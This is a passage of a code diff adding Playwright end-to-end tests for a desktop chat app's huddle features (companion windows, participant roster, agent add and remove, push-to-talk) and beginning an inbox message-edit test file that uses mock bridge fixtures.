+  await expect(page.getByTestId("huddle-transcript-intro")).toHaveCount(0);
+});
+
+test("returns the companion transcript to the same channel in the main app", async ({
+  page,
+}) => {
+  await installMockBridge(page, {
+    huddle: {
+      parentChannelId: HUDDLE_PARENT_ID,
+      ephemeralChannelId: HUDDLE_CHANNEL_ID,
+      huddleThreadEventId: HUDDLE_THREAD_ROOT_ID,
+      members: [{ pubkey: TEST_IDENTITIES.tyler.pubkey, role: "member" }],
+      transcriptionEnabled: true,
+    },
+  });
+  await page.goto("/");
+
+  await expect(page.locator(".buzz-huddle-shell")).toHaveAttribute(
+    "data-huddle-open",
+    "true",
+  );
+  await page.evaluate(() => {
+    const threadRoot = window.__BUZZ_E2E_EMIT_MOCK_MESSAGE__?.({
+      channelName: "huddle",
+      content: "Transcript written while the companion is open",
+    });
+    if (!threadRoot) throw new Error("Failed to create Huddle thread root.");
+    window.__BUZZ_E2E_EMIT_MOCK_MESSAGE__?.({
+      channelName: "huddle",
+      content: "Agent reply preserved across the Huddle handoff",
+      parentEventId: threadRoot.id,
+      pubkey: "deadbeef".repeat(8),
+    });
+  });
+
+  await page
+    .getByRole("button", { name: "Open huddle in a new window" })
+    .click();
+  await expect(page.locator(".buzz-huddle-shell")).toHaveAttribute(
+    "data-huddle-open",
+    "false",
+  );
+  await page.evaluate(async () => {
+    await window.__BUZZ_E2E_INVOKE_MOCK_COMMAND__?.("close_huddle_companion");
+  });
+
+  await expect(page).toHaveURL(
+    new RegExp(`/channels/${HUDDLE_CHANNEL_ID.replaceAll("-", "\\-")}`),
+  );
+  await expect(
+    page
+      .getByTestId("message-row")
+      .filter({ hasText: "Transcript written while the companion is open" }),
+  ).toBeVisible();
+  await expect(
+    page
+      .getByTestId("message-row")
+      .filter({ hasText: "Agent reply preserved across the Huddle handoff" }),
+  ).toBeVisible();
+  await expect(page.getByTestId("message-thread-panel")).toHaveCount(0);
+
+  await page
+    .getByRole("button", { name: "Open huddle in a new window" })
+    .click();
+  await expect(page).toHaveURL(
+    new RegExp(`/channels/${HUDDLE_PARENT_ID.replaceAll("-", "\\-")}`),
+  );
+  await expect(
+    page.locator(`[data-channel-id="${HUDDLE_CHANNEL_ID}"]`),
+  ).toHaveCount(0);
+});
+
+test("returns to the parent channel when leaving a huddle channel in view", async ({
+  page,
+}) => {
+  await installMockBridge(page, {
+    huddle: {
+      parentChannelId: HUDDLE_PARENT_ID,
+      ephemeralChannelId: HUDDLE_CHANNEL_ID,
+      members: [{ pubkey: TEST_IDENTITIES.tyler.pubkey, role: "member" }],
+    },
+  });
+  await page.goto("/");
+
+  await expect(page.locator(".buzz-huddle-shell")).toHaveAttribute(
+    "data-huddle-open",
+    "true",
+  );
+  await page.evaluate(async () => {
+    await window.__BUZZ_E2E_INVOKE_MOCK_COMMAND__?.("close_huddle_companion");
+  });
+  await expect(page).toHaveURL(
+    new RegExp(`/channels/${HUDDLE_CHANNEL_ID.replaceAll("-", "\\-")}`),
+  );
+
+  await page.getByRole("button", { name: "Leave huddle" }).click();
+
+  await expect(page).toHaveURL(
+    new RegExp(`/channels/${HUDDLE_PARENT_ID.replaceAll("-", "\\-")}`),
+  );
+  await expect(
+    page.locator(`[data-channel-id="${HUDDLE_CHANNEL_ID}"]`),
+  ).toHaveCount(0);
+});
+
+test("keeps the huddle avatar strip compact and exposes the full roster", async ({
+  page,
+}) => {
+  const members = Array.from({ length: 11 }, (_, index) => ({
+    pubkey: `${(index + 1).toString(16).padStart(2, "0")}${"a".repeat(62)}`,
+    role: index === 10 ? ("bot" as const) : ("member" as const),
+  }));
+
+  await installMockBridge(page, {
+    huddle: {
+      parentChannelId: HUDDLE_PARENT_ID,
+      ephemeralChannelId: HUDDLE_CHANNEL_ID,
+      members,
+    },
+  });
+  await page.goto("/");
+
+  const participantStrip = page.getByTestId("huddle-participant-strip");
+  const participantTrigger = page.getByRole("button", {
+    name: "Show all huddle participants (11)",
+  });
+  await expect(participantTrigger).toBeVisible();
+  await expect(
+    participantStrip.getByTestId("huddle-participant-avatar"),
+  ).toHaveCount(9);
+  await expect(participantTrigger).toContainText("+2");
+  await expect(page.getByTestId("profile-huddle-control")).toHaveCount(0);
+
+  await participantTrigger.click();
+  await expect(
+    page.getByRole("heading", { name: "Participants" }),
+  ).toBeVisible();
+  await expect(
+    page.getByRole("button", { name: /Remove Agent .* from huddle/ }),
+  ).toHaveCount(1);
+});
+
+test("removes an agent from its menu without showing an extra participant control", async ({
+  page,
+}) => {
+  await installMockBridge(page, {
+    windowLabel: `huddle-${HUDDLE_CHANNEL_ID}`,
+    huddle: {
+      parentChannelId: HUDDLE_PARENT_ID,
+      ephemeralChannelId: HUDDLE_CHANNEL_ID,
+      members: [
+        { pubkey: TEST_IDENTITIES.tyler.pubkey, role: "member" },
+        { pubkey: TEST_IDENTITIES.alice.pubkey, role: "bot" },
+      ],
+    },
+  });
+  await page.goto("/");
+
+  await expect(
+    page.getByRole("button", { name: "Manage huddle participants" }),
+  ).toHaveCount(0);
+
+  await page.getByTestId("huddle-agent-voice-menu-trigger").click();
+  const removeButton = page.getByRole("button", {
+    name: "Remove alice from huddle",
+  });
+  await expect(removeButton).toBeVisible();
+  page.once("dialog", (dialog) => dialog.accept());
+  await removeButton.click({ force: true });
+
+  await expect
+    .poll(() =>
+      page.evaluate(() =>
+        (window.__BUZZ_E2E_COMMAND_LOG__ ?? []).some(
+          (entry) => entry.command === "remove_agent_from_huddle",
+        ),
+      ),
+    )
+    .toBe(true);
+  await expect(page.getByTestId("huddle-agent-voice-menu-trigger")).toHaveCount(
+    0,
+  );
+});
+
+test("keeps a newer huddle event over a delayed hydration snapshot", async ({
+  page,
+}) => {
+  await installMockBridge(page, {
+    huddle: {
+      parentChannelId: HUDDLE_PARENT_ID,
+      ephemeralChannelId: HUDDLE_CHANNEL_ID,
+      members: [
+        { pubkey: TEST_IDENTITIES.tyler.pubkey, role: "member" },
+        { pubkey: TEST_IDENTITIES.alice.pubkey, role: "bot" },
+      ],
+      transcriptionEnabled: true,
+    },
+    huddleStateReadDelayMs: 250,
+  });
+  await page.goto("/");
+  await expect
+    .poll(() =>
+      page.evaluate(() =>
+        (window.__BUZZ_E2E_COMMAND_LOG__ ?? []).some(
+          (entry) => entry.command === "get_huddle_state",
+        ),
+      ),
+    )
+    .toBe(true);
+
+  await setHuddleSnapshot(
+    page,
+    [{ pubkey: TEST_IDENTITIES.tyler.pubkey, role: "member" }],
+    false,
+  );
+
+  await expect(
+    page
+      .getByTestId("huddle-participant-strip")
+      .getByTestId("huddle-participant-avatar"),
+  ).toHaveCount(1);
+  await expect(
+    page.getByRole("button", { name: /Show all huddle participants/ }),
+  ).toHaveCount(0);
+  await expect(
+    page.getByRole("button", { name: "Start transcript" }),
+  ).toHaveAttribute("aria-pressed", "false");
+  await page.waitForTimeout(300);
+  await expect(
+    page
+      .getByTestId("huddle-participant-strip")
+      .getByTestId("huddle-participant-avatar"),
+  ).toHaveCount(1);
+});
+
+test("keeps a starting huddle in the drawer after its companion closes", async ({
+  page,
+}) => {
+  await installFakeHuddleMicrophone(page);
+  await installMockBridge(page, {
+    openHuddleWindowDelayMs: 500,
+    startHuddleReturnDelayMs: 1_500,
+  });
+  await page.goto("/");
+  await page.getByTestId("channel-alice-tyler").click();
+  await page.getByTestId("channel-start-huddle-trigger").click();
+
+  await expect
+    .poll(() =>
+      page.evaluate(
+        () =>
+          (window.__BUZZ_E2E_COMMAND_LOG__ ?? []).filter(
+            (entry) => entry.command === "open_huddle_window",
+          ).length,
+      ),
+    )
+    .toBe(1);
+  const ephemeralChannelId = await page.evaluate(async () => {
+    const state = (await window.__BUZZ_E2E_INVOKE_MOCK_COMMAND__?.(
+      "get_huddle_state",
+    )) as { ephemeral_channel_id: string };
+    return state.ephemeral_channel_id;
+  });
+  await page.evaluate(async () => {
+    await window.__BUZZ_E2E_INVOKE_MOCK_COMMAND__?.("close_huddle_companion");
+  });
+
+  await expect(page.locator(".buzz-huddle-shell")).toHaveAttribute(
+    "data-huddle-open",
+    "true",
+  );
+  await expect(page).toHaveURL(
+    new RegExp(`/channels/${ephemeralChannelId.replaceAll("-", "\\-")}`),
+  );
+  await expect
+    .poll(() =>
+      page.evaluate(async () => {
+        const state = (await window.__BUZZ_E2E_INVOKE_MOCK_COMMAND__?.(
+          "get_huddle_state",
+        )) as { phase: string };
+        return state.phase;
+      }),
+    )
+    .toBe("active");
+  await expect
+    .poll(() =>
+      page.evaluate(
+        () =>
+          (window.__BUZZ_E2E_COMMAND_LOG__ ?? []).filter(
+            (entry) => entry.command === "open_huddle_window",
+          ).length,
+      ),
+    )
+    .toBe(1);
+  await expect(page.locator(".buzz-huddle-shell")).toHaveAttribute(
+    "data-huddle-open",
+    "true",
+  );
+  await expect(page.getByTestId("profile-huddle-control")).toHaveCount(0);
+  await expect(
+    page.locator(`[data-channel-id="${ephemeralChannelId}"]`),
+  ).toBeVisible();
+});
+
+test("starts unmuted with Push to Talk while preserving manual microphone control", async ({
+  page,
+}) => {
+  await installFakeHuddleMicrophone(page);
+  await installMockBridge(page, {
+    openHuddleWindowDelayMs: 10_000,
+    startHuddleReturnDelayMs: 1_500,
+  });
+  await page.goto("/");
+  await page.getByTestId("channel-alice-tyler").click();
+  await page.getByTestId("channel-start-huddle-trigger").click();
+
+  const muteButton = page.getByRole("button", { name: "Mute microphone" });
+  await expect(muteButton).toBeVisible();
+  await expect(muteButton).not.toHaveClass(/bg-destructive\/15/);
+  await expect(
+    page.getByRole("button", { name: "Audio settings" }),
+  ).not.toHaveClass(/bg-destructive\/15/);
+
+  await muteButton.click();
+  const unmuteButton = page.getByRole("button", {
+    name: "Unmute microphone",
+  });
+  await expect(unmuteButton).toBeVisible();
+  await expect(unmuteButton).toHaveClass(/bg-destructive\/15/);
+  await expect(unmuteButton).toHaveClass(/text-destructive/);
+  await expect
+    .poll(() =>
+      page.evaluate(
+        () =>
+          (window.__BUZZ_E2E_COMMAND_LOG__ ?? []).findLast(
+            (entry) => entry.command === "set_huddle_manual_mic_unmuted",
+          )?.payload,
+      ),
+    )
+    .toEqual({ enabled: false });
+  await page.mouse.move(0, 0);
+  await unmuteButton.hover();
+  await expect(page.getByRole("tooltip")).toHaveAccessibleName(
+    /Click to unmute or hold .*Space/,
+  );
+
+  await page.evaluate(async () => {
+    await window.__BUZZ_E2E_EMIT_TAURI_EVENT__?.("ptt-state", true);
+  });
+  await expect(muteButton).toBeVisible();
+  await muteButton.click();
+  await expect
+    .poll(() =>
+      page.evaluate(
+        () =>
+          (window.__BUZZ_E2E_COMMAND_LOG__ ?? []).findLast(
+            (entry) => entry.command === "set_huddle_manual_mic_unmuted",
+          )?.payload,
+      ),
+    )
+    .toEqual({ enabled: false });
+
+  await page.evaluate(async () => {
+    await window.__BUZZ_E2E_EMIT_TAURI_EVENT__?.("ptt-state", false);
+  });
+  await expect(unmuteButton).toBeVisible();
+
+  await page.getByRole("button", { name: "Audio settings" }).click();
+  await page.getByRole("button", { name: "Turn off Push to Talk" }).click();
+  await page.evaluate(async () => {
+    await window.__BUZZ_E2E_EMIT_TAURI_EVENT__?.("ptt-state", true);
+  });
+  await expect(unmuteButton).toBeVisible();
+  await page.getByRole("button", { name: "Turn on Push to Talk" }).click();
+  await expect(unmuteButton).toBeVisible();
+  await page.evaluate(async () => {
+    await window.__BUZZ_E2E_EMIT_TAURI_EVENT__?.("ptt-state", true);
+  });
+  await expect(muteButton).toBeVisible();
+  await page.evaluate(async () => {
+    await window.__BUZZ_E2E_EMIT_TAURI_EVENT__?.("ptt-state", false);
+  });
+  await expect(unmuteButton).toBeVisible();
+
+  await unmuteButton.click();
+  await expect(muteButton).toBeVisible();
+  await expect
+    .poll(() =>
+      page.evaluate(
+        () =>
+          (window.__BUZZ_E2E_COMMAND_LOG__ ?? []).findLast(
+            (entry) => entry.command === "set_huddle_manual_mic_unmuted",
+          )?.payload,
+      ),
+    )
+    .toEqual({ enabled: true });
+});
+
+test("starts an agent DM huddle and hides its backing channel after it ends", async ({
+  page,
+}) => {
+  await installFakeHuddleMicrophone(page);
+  await installMockBridge(page, {
+    openHuddleWindowDelayMs: 500,
+    startHuddleReturnDelayMs: 1_500,
+  });
+  await page.goto("/");
+  await page.getByTestId("channel-alice-tyler").click();
+  await expect(page.getByTestId("chat-title")).toHaveText("alice-tyler");
+  await expect
+    .poll(() =>
+      page.evaluate(
+        (pubkey) =>
+          window.__BUZZ_E2E_HAS_MOCK_OWNER_KIND_SUBSCRIPTION__?.({
+            ownerPubkey: pubkey,
+            kind: 44100,
+          }) ?? false,
+        "deadbeef".repeat(8),
+      ),
+    )
+    .toBe(true);
+  const channelReadsBeforeStart = await page.evaluate(
+    () =>
+      (window.__BUZZ_E2E_COMMAND_LOG__ ?? []).filter(
+        (entry) => entry.command === "get_channels",
+      ).length,
+  );
+
+  const startButton = page.getByTestId("channel-start-huddle-trigger");
+  await expect(startButton).toBeEnabled();
+  await startButton.click();
+
+  await expect
+    .poll(() =>
+      page.evaluate(
+        () =>
+          (window.__BUZZ_E2E_COMMAND_LOG__ ?? []).find(
+            (entry) => entry.command === "start_huddle",
+          )?.payload,
+      ),
+    )
+    .toMatchObject({
+      memberPubkeys: [TEST_IDENTITIES.alice.pubkey],
+      parentChannelId: "f48efb06-0c93-5025-aac9-2e646bb6bfa8",
+    });
+  await expect
+    .poll(() =>
+      page.evaluate(
+        () =>
+          (window.__BUZZ_E2E_COMMAND_LOG__ ?? []).filter(
+            (entry) => entry.command === "open_huddle_window",
+          ).length,
+      ),
+    )
+    .toBe(1);
+  const startingState = await page.evaluate(async () =>
+    window.__BUZZ_E2E_INVOKE_MOCK_COMMAND__?.("get_huddle_state"),
+  );
+  expect(startingState).toMatchObject({ phase: "creating" });
+  await expect
+    .poll(() =>
+      page.evaluate(
+        () =>
+          (window.__BUZZ_E2E_COMMAND_LOG__ ?? []).filter(
+            (entry) => entry.command === "get_channels",
+          ).length,
+      ),
+    )
+    .toBeGreaterThan(channelReadsBeforeStart);
+  const pendingEphemeralChannelId = await page.evaluate(async () => {
+    const state = (await window.__BUZZ_E2E_INVOKE_MOCK_COMMAND__?.(
+      "get_huddle_state",
+    )) as { ephemeral_channel_id: string };
+    return state.ephemeral_channel_id;
+  });
+  await expect(
+    page.locator(`[data-channel-id="${pendingEphemeralChannelId}"]`),
+  ).toHaveCount(0);
+  await expect(page.locator(".buzz-huddle-shell")).toHaveAttribute(
+    "data-huddle-open",
+    "false",
+  );
+  await expect
+    .poll(() =>
+      page.evaluate(
+        () =>
+          (window.__BUZZ_E2E_COMMAND_LOG__ ?? []).filter(
+            (entry) => entry.command === "open_huddle_window",
+          ).length,
+      ),
+    )
+    .toBe(1);
+  await expect(page.getByTestId("profile-huddle-control")).toBeVisible();
+  await expect(page.locator(".buzz-huddle-shell")).toHaveAttribute(
+    "data-huddle-open",
+    "false",
+  );
+
+  const ephemeralChannelId = await page.evaluate(async () => {
+    const state = (await window.__BUZZ_E2E_INVOKE_MOCK_COMMAND__?.(
+      "get_huddle_state",
+    )) as { ephemeral_channel_id: string };
+    return state.ephemeral_channel_id;
+  });
+  const huddleSidebarChannel = page.locator(
+    `[data-channel-id="${ephemeralChannelId}"]`,
+  );
+  await expect(huddleSidebarChannel).toHaveCount(0);
+  await page.evaluate(async () => {
+    await window.__BUZZ_E2E_INVOKE_MOCK_COMMAND__?.("close_huddle_companion");
+  });
+  await expect(page.locator(".buzz-huddle-shell")).toHaveAttribute(
+    "data-huddle-open",
+    "true",
+  );
+  await expect(page.getByTestId("profile-huddle-control")).toHaveCount(0);
+  await expect(page).toHaveURL(
+    new RegExp(`/channels/${ephemeralChannelId.replaceAll("-", "\\-")}`),
+  );
+  await expect(huddleSidebarChannel).toBeVisible();
+
+  await page
+    .getByRole("button", { name: "Open huddle in a new window" })
+    .click();
+  await expect(huddleSidebarChannel).toHaveCount(0);
+  await expect(page.locator(".buzz-huddle-shell")).toHaveAttribute(
+    "data-huddle-open",
+    "false",
+  );
+  await expect(page.getByTestId("profile-huddle-control")).toBeVisible();
+
+  await page.getByRole("button", { name: "Leave huddle" }).click();
+  await expect(huddleSidebarChannel).toHaveCount(0);
+  await expect(page.locator(".buzz-huddle-shell")).toHaveAttribute(
+    "data-huddle-open",
+    "false",
+  );
+
+  await waitForMockLiveSubscription(page, "alice-tyler");
+  const lifecycleCreatedAt = Math.floor(Date.now() / 1000);
+  await page.evaluate(
+    ({ createdAt, ephemeralChannelId, kind }) => {
+      window.__BUZZ_E2E_EMIT_MOCK_MESSAGE__?.({
+        channelName: "alice-tyler",
+        content: JSON.stringify({ ephemeral_channel_id: ephemeralChannelId }),
+        createdAt,
+        id: "3".repeat(64),
+        kind,
+      });
+    },
+    {
+      createdAt: lifecycleCreatedAt,
+      ephemeralChannelId,
+      kind: KIND_HUDDLE_STARTED,
+    },
+  );
+  await expect(page.getByTestId("huddle-attachment")).toBeVisible();
+  await waitForMockLiveSubscription(page, "alice-tyler", KIND_HUDDLE_ENDED);
+  await page.evaluate(
+    ({ createdAt, ephemeralChannelId, kind }) => {
+      window.__BUZZ_E2E_EMIT_MOCK_MESSAGE__?.({
+        channelName: "alice-tyler",
+        content: JSON.stringify({ ephemeral_channel_id: ephemeralChannelId }),
+        createdAt,
+        id: "4".repeat(64),
+        kind,
+      });
+    },
+    {
+      createdAt: lifecycleCreatedAt + 1,
+      ephemeralChannelId,
+      kind: KIND_HUDDLE_ENDED,
+    },
+  );
+  const endedHuddle = page
+    .getByTestId("huddle-attachment")
+    .filter({ hasText: "Huddle · Ended" });
+  await expect(endedHuddle).toBeVisible();
+  await endedHuddle.getByRole("button", { name: "View huddle" }).click();
+  await expect(page).toHaveURL(
+    new RegExp(`/channels/${ephemeralChannelId.replaceAll("-", "\\-")}`),
+  );
+  await expect(huddleSidebarChannel).toBeVisible();
+  await expect(page.getByTestId("message-thread-panel")).toHaveCount(0);
+});
+
+test("closes add-agent dialog when parent membership is already satisfied", async ({
+  page,
+}) => {
+  await installMockBridge(page, {
+    addAgentToHuddleResult: {
+      ephemeral_added: true,
+      parent_added: true,
+      parent_error: null,
+    },
+    huddle: {
+      parentChannelId: HUDDLE_PARENT_ID,
+      ephemeralChannelId: HUDDLE_CHANNEL_ID,
+      members: [{ pubkey: TEST_IDENTITIES.tyler.pubkey, role: "member" }],
+    },
+    managedAgents: [
+      {
+        pubkey: TEST_IDENTITIES.bob.pubkey,
+        name: "bob",
+        status: "running",
+      },
+    ],
+  });
+  await page.goto("/");
+
+  await page.getByRole("button", { name: "Add agent to huddle" }).click();
+  const dialog = page.getByRole("dialog", { name: "Add agents" });
+  await expect(dialog).toBeVisible();
+  await dialog.getByRole("button", { name: /bob/i }).click();
+
+  await expect(dialog).toHaveCount(0);
+  await expect(
+    page.getByText("Added to huddle, but parent channel failed:"),
+  ).toHaveCount(0);
+});
+
+test("starts an available stopped agent before adding it to the huddle", async ({
+  page,
+}) => {
+  await installMockBridge(page, {
+    addAgentToHuddleResult: {
+      ephemeral_added: true,
+      parent_added: true,
+      parent_error: null,
+    },
+    huddle: {
+      parentChannelId: HUDDLE_PARENT_ID,
+      ephemeralChannelId: HUDDLE_CHANNEL_ID,
+      members: [{ pubkey: TEST_IDENTITIES.tyler.pubkey, role: "member" }],
+    },
+    managedAgents: [
+      {
+        avatarUrl: "https://example.com/bob.png",
+        pubkey: TEST_IDENTITIES.bob.pubkey,
+        name: "bob",
+        status: "stopped",
+      },
+    ],
+  });
+  await page.goto("/");
+
+  await page.getByRole("button", { name: "Add agent to huddle" }).click();
+  const dialog = page.getByRole("dialog", { name: "Add agents" });
+  await expect(dialog).toBeVisible();
+  await expect(dialog).toHaveClass(/data-\[state=open\]:animate-in/);
+  await expect(dialog).toHaveClass(/data-\[state=open\]:fade-in-0/);
+  await expect(dialog).toHaveClass(/data-\[state=open\]:zoom-in-95/);
+  await expect(dialog).toHaveClass(/duration-200/);
+  await expect(dialog).toHaveClass(/motion-reduce:animate-none/);
+  await expect(
+    dialog.getByText("Choose an agent to join this huddle.", { exact: true }),
+  ).toBeVisible();
+  await expect(dialog.getByText("stopped", { exact: true })).toHaveCount(0);
+  await dialog.getByRole("button", { name: /bob/i }).click();
+
+  await expect
+    .poll(() =>
+      page.evaluate(() =>
+        (window.__BUZZ_E2E_COMMAND_LOG__ ?? [])
+          .filter(
+            (entry) =>
+              entry.command === "start_managed_agent" ||
+              entry.command === "add_agent_to_huddle",
+          )
+          .map((entry) => entry.command),
+      ),
+    )
+    .toEqual(["start_managed_agent", "add_agent_to_huddle"]);
+  await expect(dialog).toHaveCount(0);
+});
+
+test("stops an agent started solely for a failed huddle add", async ({
+  page,
+}) => {
+  await installMockBridge(page, {
+    addAgentToHuddleError: "membership publish rejected",
+    huddle: {
+      parentChannelId: HUDDLE_PARENT_ID,
+      ephemeralChannelId: HUDDLE_CHANNEL_ID,
+      members: [{ pubkey: TEST_IDENTITIES.tyler.pubkey, role: "member" }],
+    },
+    managedAgents: [
+      {
+        avatarUrl: "https://example.com/bob.png",
+        pubkey: TEST_IDENTITIES.bob.pubkey,
+        name: "bob",
+        status: "stopped",
+      },
+    ],
+  });
+  await page.goto("/");
+
+  await page.getByRole("button", { name: "Add agent to huddle" }).click();
+  const dialog = page.getByRole("dialog", { name: "Add agents" });
+  await dialog.getByRole("button", { name: /bob/i }).click();
+
+  await expect(dialog.getByText(/Failed to add agent:/)).toBeVisible();
+  await expect
+    .poll(() =>
+      page.evaluate(() =>
+        (window.__BUZZ_E2E_COMMAND_LOG__ ?? [])
+          .filter((entry) =>
+            [
+              "start_managed_agent",
+              "add_agent_to_huddle",
+              "stop_managed_agent",
+            ].includes(entry.command),
+          )
+          .map((entry) => entry.command),
+      ),
+    )
+    .toEqual([
+      "start_managed_agent",
+      "add_agent_to_huddle",
+      "stop_managed_agent",
+    ]);
+});
+
+test("does not deploy a provider agent when its huddle add fails", async ({
+  page,
+}) => {
+  await installMockBridge(page, {
+    addAgentToHuddleError: "membership publish rejected",
+    huddle: {
+      parentChannelId: HUDDLE_PARENT_ID,
+      ephemeralChannelId: HUDDLE_CHANNEL_ID,
+      members: [{ pubkey: TEST_IDENTITIES.tyler.pubkey, role: "member" }],
+    },
+    managedAgents: [
+      {
+        avatarUrl: "https://example.com/bob.png",
+        backend: { type: "provider", id: "mock", config: {} },
+        pubkey: TEST_IDENTITIES.bob.pubkey,
+        name: "bob",
+        status: "not_deployed",
+      },
+    ],
+  });
+  await page.goto("/");
+
+  await page.getByRole("button", { name: "Add agent to huddle" }).click();
+  const dialog = page.getByRole("dialog", { name: "Add agents" });
+  await dialog.getByRole("button", { name: /bob/i }).click();
+
+  await expect(dialog.getByText(/Failed to add agent:/)).toBeVisible();
+  await expect
+    .poll(() =>
+      page.evaluate(() =>
+        (window.__BUZZ_E2E_COMMAND_LOG__ ?? [])
+          .filter((entry) =>
+            [
+              "start_managed_agent",
+              "add_agent_to_huddle",
+              "stop_managed_agent",
+            ].includes(entry.command),
+          )
+          .map((entry) => entry.command),
+      ),
+    )
+    .toEqual(["add_agent_to_huddle"]);
 });
diff --git a/desktop/tests/e2e/image-attachment-gallery.spec.ts b/desktop/tests/e2e/image-attachment-gallery.spec.ts
index d5c81ceed1..8c36023655 100644
--- a/desktop/tests/e2e/image-attachment-gallery.spec.ts
+++ b/desktop/tests/e2e/image-attachment-gallery.spec.ts
@@ -123,7 +123,7 @@ test("image bundle lightbox navigates as a gallery", async ({ page }) => {
   await expect(page.getByTestId("chat-title")).toHaveText("general");
 
   await page.getByTestId("message-input").fill("gallery bundle");
-  await page.getByRole("button", { name: "Attach image" }).click();
+  await page.getByRole("button", { name: "Attach file" }).click();
   await page.getByTestId("send-message").click();
   await expect(page.getByText("Sending")).toHaveCount(0);
 
@@ -667,7 +667,7 @@ test("mosaic image context menu is portaled outside the clipped gallery", async
   await expect(page.getByTestId("chat-title")).toHaveText("general");
 
   await page.getByTestId("message-input").fill("mosaic context menu");
-  await page.getByRole("button", { name: "Attach image" }).click();
+  await page.getByRole("button", { name: "Attach file" }).click();
   await page.getByTestId("send-message").click();
   await expect(page.getByText("Sending")).toHaveCount(0);
 
@@ -709,7 +709,7 @@ test("lightbox image context menu stays inside the dialog focus scope", async ({
   await expect(page.getByTestId("chat-title")).toHaveText("general");
 
   await page.getByTestId("message-input").fill("lightbox context menu");
-  await page.getByRole("button", { name: "Attach image" }).click();
+  await page.getByRole("button", { name: "Attach file" }).click();
   await page.getByTestId("send-message").click();
   await expect(page.getByText("Sending")).toHaveCount(0);
 
@@ -751,7 +751,7 @@ test("right-click image shows Copy image and invokes copy command", async ({
   await expect(page.getByTestId("chat-title")).toHaveText("general");
 
   await page.getByTestId("message-input").fill("copy me");
-  await page.getByRole("button", { name: "Attach image" }).click();
+  await page.getByRole("button", { name: "Attach file" }).click();
   await page.getByTestId("send-message").click();
   await expect(page.getByText("Sending")).toHaveCount(0);
 
diff --git a/desktop/tests/e2e/inbox-edit.spec.ts b/desktop/tests/e2e/inbox-edit.spec.ts
new file mode 100644
index 0000000000..a962056fa6
--- /dev/null
+++ b/desktop/tests/e2e/inbox-edit.spec.ts
@@ -0,0 +1,650 @@
+import { expect, test } from "@playwright/test";
+
+import { waitForAnimations } from "../helpers/animations";
+import { installMockBridge, TEST_IDENTITIES } from "../helpers/bridge";
+
+const GENERAL_CHANNEL_ID = "9a1657ac-f7aa-5db0-b632-d8bbeb6dfb50";
+const CURRENT_PUBKEY = "deadbeef".repeat(8);
+const OWN_MESSAGE_ID = "d1".repeat(32);
+const FOREIGN_MESSAGE_ID = "e2".repeat(32);
+const EMPTY_DELETE_ROOT_ID = "a1".repeat(32);
+const EMPTY_DELETE_REPLY_ID = "b2".repeat(32);
+const EMPTY_DELETE_ROOT_CONTENT = "Inbox empty-edit root message.";
+const EMPTY_DELETE_REPLY_CONTENT =
+  "Selected Inbox reply remains after root deletion.";
+const COLD_ROOT_ID = "c3".repeat(32);
+const COLD_SELECTED_REPLY_ID = "f4".repeat(32);
+const COLD_DELETED_EDIT_ID = "0a".repeat(32);
+const COLD_SIBLING_REPLY_ID = "1b".repeat(32);
+const COLD_SIBLING_EDIT_ID = "2c".repeat(32);
+const COLD_ROOT_CONTENT = "Cold Inbox thread root.";
+const COLD_SELECTED_ORIGINAL_CONTENT = "Cold Inbox reply original text.";
+const COLD_SELECTED_RETRACTED_CONTENT = "Cold Inbox reply retracted edit text.";
+const COLD_SIBLING_ORIGINAL_CONTENT = "Cold Inbox sibling reply original text.";
+const COLD_SIBLING_EDITED_CONTENT = "Cold Inbox sibling reply edited text.";
+const ATTACHMENT_URL = `https://mock.relay/media/${"a".repeat(64)}.pdf`;
+const ATTACHMENT_FILENAME = "inbox-edit-proof.pdf";
+const SHOTS = "test-results/inbox-edit";
+
+type MockFeedItem = {
+  category: "mention";
+  channel_id: string;
+  channel_name: string;
+  content: string;
+  created_at: number;
+  id: string;
+  kind: number;
+  pubkey: string;
+  tags: string[][];
+};
+
+type MockWindow = Window & {
+  __BUZZ_E2E_COMMAND_PAYLOADS__?: Array<{
+    command: string;
+    payload: unknown;
+  }>;
+  __BUZZ_E2E_EMIT_MOCK_MESSAGE__?: (input: {
+    channelName: string;
+    content: string;
+    parentEventId?: string | null;
+    pubkey?: string;
+    mentionPubkeys?: string[];
+    id?: string;
+    kind?: number;
+    extraTags?: string[][];
+  }) => {
+    content: string;
+    created_at: number;
+    id: string;
+    kind: number;
+    pubkey: string;
+    tags: string[][];
+  };
+  __BUZZ_E2E_INVALIDATE_CHANNELS__?: () => Promise<void>;
+  __BUZZ_E2E_RELEASE_SEND_MESSAGE_LIVE_ECHO__?: () => number;
+  __BUZZ_E2E_INVOKE_MOCK_COMMAND__?: (
+    command: string,
+    payload?: Record<string, unknown>,
+  ) => Promise<unknown>;
+  __BUZZ_E2E_PUSH_MOCK_FEED_ITEM__?: (item: MockFeedItem) => unknown;
+};
+
+async function openMoreActions(
+  page: import("@playwright/test").Page,
+  messageId: string,
+) {
+  const row = page.locator(`[data-message-id="${messageId}"]`);
+  await row.hover();
+  await page.getByTestId(`more-actions-${messageId}`).click();
+  await expect(page.locator('[role="menuitem"]').first()).toBeVisible();
+}
+
+async function seedEmptyDeleteThread(page: import("@playwright/test").Page) {
+  await page.waitForFunction(() => {
+    const win = window as MockWindow;
+    return (
+      typeof win.__BUZZ_E2E_EMIT_MOCK_MESSAGE__ === "function" &&
+      typeof win.__BUZZ_E2E_PUSH_MOCK_FEED_ITEM__ === "function"
+    );
+  });
+  await page.evaluate(
+    ({
+      channelId,
+      currentPubkey,
+      replyContent,
+      replyId,
+      rootContent,
+      rootId,
+    }) => {
+      const win = window as MockWindow;
+      const emit = win.__BUZZ_E2E_EMIT_MOCK_MESSAGE__;
+      const push = win.__BUZZ_E2E_PUSH_MOCK_FEED_ITEM__;
+      if (!emit || !push)
+        throw new Error("Mock bridge helpers are unavailable.");
+      const root = emit({
+        channelName: "general",
+        content: rootContent,
+        id: rootId,
+        pubkey: currentPubkey,
+      });
+      const reply = emit({
+        channelName: "general",
+        content: replyContent,
+        id: replyId,
+        mentionPubkeys: [currentPubkey],
+        parentEventId: root.id,
+        pubkey: currentPubkey,
+      });
+      push({
+        category: "mention",
+        channel_id: channelId,
+        channel_name: "general",
+        content: reply.content,
+        created_at: reply.created_at,
+        id: reply.id,
+        kind: reply.kind,
+        pubkey: reply.pubkey,
+        tags: reply.tags,
+      });
+    },
+    {
+      channelId: GENERAL_CHANNEL_ID,
+      currentPubkey: CURRENT_PUBKEY,
+      replyContent: EMPTY_DELETE_REPLY_CONTENT,
+      replyId: EMPTY_DELETE_REPLY_ID,
+      rootContent: EMPTY_DELETE_ROOT_CONTENT,
